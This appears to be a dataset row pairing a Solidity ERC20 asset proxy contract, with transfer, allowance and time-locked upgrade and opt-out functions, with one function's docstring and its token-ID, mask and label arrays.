*
* @return holder to spender allowance.
*/
function allowance(address _from, address _spender) constant returns(uint) {
return platform.allowance(_from, _spender, smbl);
}
/**
* Returns asset decimals.
*
* @return asset decimals.
*/
function decimals() constant returns(uint8) {
return platform.baseUnit(smbl);
}
/**
* Transfers asset balance from the caller to specified receiver.
*
* @param _to holder address to give to.
* @param _value amount to transfer.
*
* @return success.
*/
function transfer(address _to, uint _value) returns(bool) {
if (_to != 0x0) {
return _transferWithReference(_to, _value, "");
}
else {
return false;
}
}
/**
* Transfers asset balance from the caller to specified receiver adding specified comment.
*
* @param _to holder address to give to.
* @param _value amount to transfer.
* @param _reference transfer comment to be included in a platform's Transfer event.
*
* @return success.
*/
function transferWithReference(address _to, uint _value, string _reference) returns(bool) {
if (_to != 0x0) {
return _transferWithReference(_to, _value, _reference);
}
else {
return false;
}
}
/**
* Resolves asset implementation contract for the caller and forwards there arguments along with
* the caller address.
*
* @return success.
*/
function _transferWithReference(address _to, uint _value, string _reference) internal returns(bool) {
return _getAsset().__transferWithReference(_to, _value, _reference, msg.sender);
}
/**
* Performs transfer call on the platform by the name of specified sender.
*
* Can only be called by asset implementation contract assigned to sender.
*
* @param _to holder address to give to.
* @param _value amount to transfer.
* @param _reference transfer comment to be included in a platform's Transfer event.
* @param _sender initial caller.
*
* @return success.
*/
function __transferWithReference(address _to, uint _value, string _reference, address _sender) onlyAccess(_sender) returns(bool) {
return platform.proxyTransferWithReference(_to, _value, smbl, _reference, _sender) == OK;
}
/**
* Prforms allowance transfer of asset balance between holders.
*
* @param _from holder address to take from.
* @param _to holder address to give to.
* @param _value amount to transfer.
*
* @return success.
*/
function transferFrom(address _from, address _to, uint _value) returns(bool) {
if (_to != 0x0) {
return _getAsset().__transferFromWithReference(_from, _to, _value, "", msg.sender);
}
else {
return false;
}
}
/**
* Performs allowance transfer call on the platform by the name of specified sender.
*
* Can only be called by asset implementation contract assigned to sender.
*
* @param _from holder address to take from.
* @param _to holder address to give to.
* @param _value amount to transfer.
* @param _reference transfer comment to be included in a platform's Transfer event.
* @param _sender initial caller.
*
* @return success.
*/
function __transferFromWithReference(address _from, address _to, uint _value, string _reference, address _sender) onlyAccess(_sender) returns(bool) {
return platform.proxyTransferFromWithReference(_from, _to, _value, smbl, _reference, _sender) == OK;
}
/**
* Sets asset spending allowance for a specified spender.
*
* @param _spender holder address to set allowance to.
* @param _value amount to allow.
*
* @return success.
*/
function approve(address _spender, uint _value) returns(bool) {
if (_spender != 0x0) {
return _getAsset().__approve(_spender, _value, msg.sender);
}
else {
return false;
}
}
/**
* Performs allowance setting call on the platform by the name of specified sender.
*
* Can only be called by asset implementation contract assigned to sender.
*
* @param _spender holder address to set allowance to.
* @param _value amount to allow.
* @param _sender initial caller.
*
* @return success.
*/
function __approve(address _spender, uint _value, address _sender) onlyAccess(_sender) returns(bool) {
return platform.proxyApprove(_spender, _value, smbl, _sender) == OK;
}
/**
* Emits ERC20 Transfer event on this contract.
*
* Can only be, and, called by assigned platform when asset transfer happens.
*/
function emitTransfer(address _from, address _to, uint _value) onlyPlatform() {
Transfer(_from, _to, _value);
}
/**
* Emits ERC20 Approval event on this contract.
*
* Can only be, and, called by assigned platform when asset allowance set happens.
*/
function emitApprove(address _from, address _spender, uint _value) onlyPlatform() {
Approval(_from, _spender, _value);
}
/**
* Resolves asset implementation contract for the caller and forwards there transaction data,
* along with the value. This allows for proxy interface growth.
*/
function () payable {
_getAsset().__process.value(msg.value)(msg.data, msg.sender);
}
/**
* Indicates an upgrade freeze-time start, and the next asset implementation contract.
*/
event UpgradeProposal(address newVersion);
// Current asset implementation contract address.
address latestVersion;
// Proposed next asset implementation contract address.
address pendingVersion;
// Upgrade freeze-time start.
uint pendingVersionTimestamp;
// Timespan for users to review the new implementation and make decision.
uint constant UPGRADE_FREEZE_TIME = 3 days;
// Asset implementation contract address that user decided to stick with.
// 0x0 means that user uses latest version.
mapping(address => address) userOptOutVersion;
/**
* Only asset implementation contract assigned to sender is allowed to call.
*/
modifier onlyAccess(address _sender) {
if (getVersionFor(_sender) == msg.sender) {
_;
}
}
/**
* Returns asset implementation contract address assigned to sender.
*
* @param _sender sender address.
*
* @return asset implementation contract address.
*/
function getVersionFor(address _sender) constant returns(address) {
return userOptOutVersion[_sender] == 0 ? latestVersion : userOptOutVersion[_sender];
}
/**
* Returns current asset implementation contract address.
*
* @return asset implementation contract address.
*/
function getLatestVersion() constant returns(address) {
return latestVersion;
}
/**
* Returns proposed next asset implementation contract address.
*
* @return asset implementation contract address.
*/
function getPendingVersion() constant returns(address) {
return pendingVersion;
}
/**
* Returns upgrade freeze-time start.
*
* @return freeze-time start.
*/
function getPendingVersionTimestamp() constant returns(uint) {
return pendingVersionTimestamp;
}
/**
* Propose next asset implementation contract address.
*
* Can only be called by current asset owner.
*
* Note: freeze-time should not be applied for the initial setup.
*
* @param _newVersion asset implementation contract address.
*
* @return success.
*/
function proposeUpgrade(address _newVersion) onlyAssetOwner() returns(bool) {
// Should not already be in the upgrading process.
if (pendingVersion != 0x0) {
return false;
}
// New version address should be other than 0x0.
if (_newVersion == 0x0) {
return false;
}
// Don't apply freeze-time for the initial setup.
if (latestVersion == 0x0) {
latestVersion = _newVersion;
return true;
}
pendingVersion = _newVersion;
pendingVersionTimestamp = now;
UpgradeProposal(_newVersion);
return true;
}
/**
* Cancel the pending upgrade process.
*
* Can only be called by current asset owner.
*
* @return success.
*/
function purgeUpgrade() onlyAssetOwner() returns(bool) {
if (pendingVersion == 0x0) {
return false;
}
delete pendingVersion;
delete pendingVersionTimestamp;
return true;
}
/**
* Finalize an upgrade process setting new asset implementation contract address.
*
* Can only be called after an upgrade freeze-time.
*
* @return success.
*/
function commitUpgrade() returns(bool) {
if (pendingVersion == 0x0) {
return false;
}
if (pendingVersionTimestamp + UPGRADE_FREEZE_TIME > now) {
return false;
}
latestVersion = pendingVersion;
delete pendingVersion;
delete pendingVersionTimestamp;
return true;
}
/**
* Disagree with proposed upgrade, and stick with current asset implementation
* until further explicit agreement to upgrade.
*
* @return success.
*/
function optOut() returns(bool) {
if (userOptOutVersion[msg.sender] != 0x0) {
return false;
}
userOptOutVersion[msg.sender] = latestVersion;
return true;
}
/**
* Implicitly agree to upgrade to current and future asset implementation upgrades,
* until further explicit disagreement.
*
* @return success.
*/
function optIn() returns(bool) {
delete userOptOutVersion[msg.sender];
return true;
}
}
|
* Performs allowance transfer call on the platform by the name of specified sender. Can only be called by asset implementation contract assigned to sender. @param _from holder address to take from. @param _to holder address to give to. @param _value amount to transfer. @param _reference transfer comment to be included in a platform's Transfer event. @param _sender initial caller. @return success./
|
function __transferFromWithReference(address _from, address _to, uint _value, string _reference, address _sender) onlyAccess(_sender) returns(bool) {
return platform.proxyTransferFromWithReference(_from, _to, _value, smbl, _reference, _sender) == OK;
}
| 1,488,225 |
[
1,
9409,
1699,
1359,
7412,
745,
603,
326,
4072,
635,
326,
508,
434,
1269,
5793,
18,
4480,
1338,
506,
2566,
635,
3310,
4471,
6835,
6958,
358,
5793,
18,
225,
389,
2080,
10438,
1758,
358,
4862,
628,
18,
225,
389,
869,
10438,
1758,
358,
8492,
358,
18,
225,
389,
1132,
3844,
358,
7412,
18,
225,
389,
6180,
7412,
2879,
358,
506,
5849,
316,
279,
4072,
1807,
12279,
871,
18,
225,
389,
15330,
2172,
4894,
18,
327,
2216,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
1001,
13866,
1265,
1190,
2404,
12,
2867,
389,
2080,
16,
1758,
389,
869,
16,
2254,
389,
1132,
16,
533,
389,
6180,
16,
1758,
389,
15330,
13,
1338,
1862,
24899,
15330,
13,
1135,
12,
6430,
13,
288,
203,
3639,
327,
4072,
18,
5656,
5912,
1265,
1190,
2404,
24899,
2080,
16,
389,
869,
16,
389,
1132,
16,
272,
1627,
80,
16,
389,
6180,
16,
389,
15330,
13,
422,
7791,
31,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.